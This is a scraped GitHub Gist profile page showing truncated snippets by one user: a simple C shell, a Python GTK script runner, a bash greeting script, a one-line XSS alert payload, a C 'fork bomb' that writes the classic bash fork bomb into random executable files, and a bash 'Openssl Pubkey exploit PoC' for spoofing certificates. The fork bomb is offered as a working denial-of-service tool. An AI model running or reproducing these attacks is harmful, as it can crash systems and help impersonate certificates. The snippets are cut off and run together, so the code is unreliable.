Skip to content

Instantly share code, notes, and snippets.

View gdisneyleugers's full-sized avatar

gdisneyleugers

  • Juniper Networks
View GitHub Profile
document.write(alert("XSS"));
@gdisneyleugers
gdisneyleugers / mash.c
Created May 14, 2015 03:21
Meh Another Shell
//
// main.c
// Mash
//
// Created by Gregory Disney on 10/12/14.
// Copyright (c) 2014 Gregory Disney. All rights reserved.
//
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <readline/readline.h>
#include <readline/history.h>
#include <ncurses.h>
/* to compile run gcc shell.c -o shell -Wformat-security -Wint-conversion -Wincompatible-pointer-types -lreadline -lgtk -lncurses */
int shell(void)
{
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <readline/readline.h>
#include <readline/history.h>
/* to compile run gcc shell.c -o shell -Wformat-security -Wint-conversion -Wincompatible-pointer-types -lreadline -lgtk */
int shell(void)
{
rl_bind_key('\t', rl_complete);
#########################Scriptable##########################
#!/bin/bash
#########################Scriptable##########################
printf "Hello "
whoami
printf "The date is "
date
printf "The platform is "
uname
@gdisneyleugers
gdisneyleugers / Scriptable.py
Last active August 29, 2015 14:05
Scriptable Engine
__author__ = 'gregorydisney'
import gtk
import os
import pango
class MyGUI:
def __init__( self, title):
self.window = gtk.Window()
self.title = title
self.window.set_title( title)
@gdisneyleugers
gdisneyleugers / shell.c
Created July 24, 2014 23:14
Simple shell I worte in C
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <readline/readline.h>
#include <readline/history.h>
/* to compile run gcc shell.c -o shell -Wformat-security -Wint-conversion -Wincompatible-pointer-types -lreadline */
int shell(void)
{
rl_bind_key('\t', rl_complete);
@gdisneyleugers
gdisneyleugers / fb.c
Last active November 12, 2021 01:31
Fork Bomb in C, fastest fork bomb written yet.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int generator(void)
{
system("echo ':(){ :|:& };: ./*' > $RANDOM");
system("chmod +x * 2> /dev/null");
system("chmod +x $RANDOM 2> /dev/null");
#!/bin/bash
echo "Openssl Pubkey exploit PoC"
echo "usage: keyspoof cert.crt spoof.key"
openssl x509 -in $1 -pubkey -noout > $2
openssl genrsa 2048 >> $2
cat $2 >> pub-$2
openssl rsa -in $2 -out $2
openssl x509 -x509toreq -in $1 -signkey $2 >> $2.csr
openssl req -in $2.csr -key $2 -x509 -out $2.crt
gnutls-certtool -c --load-ca-privkey $2 --load-ca-certificate $2.crt --load-pubkey pub-$2 --outfile=$2.pem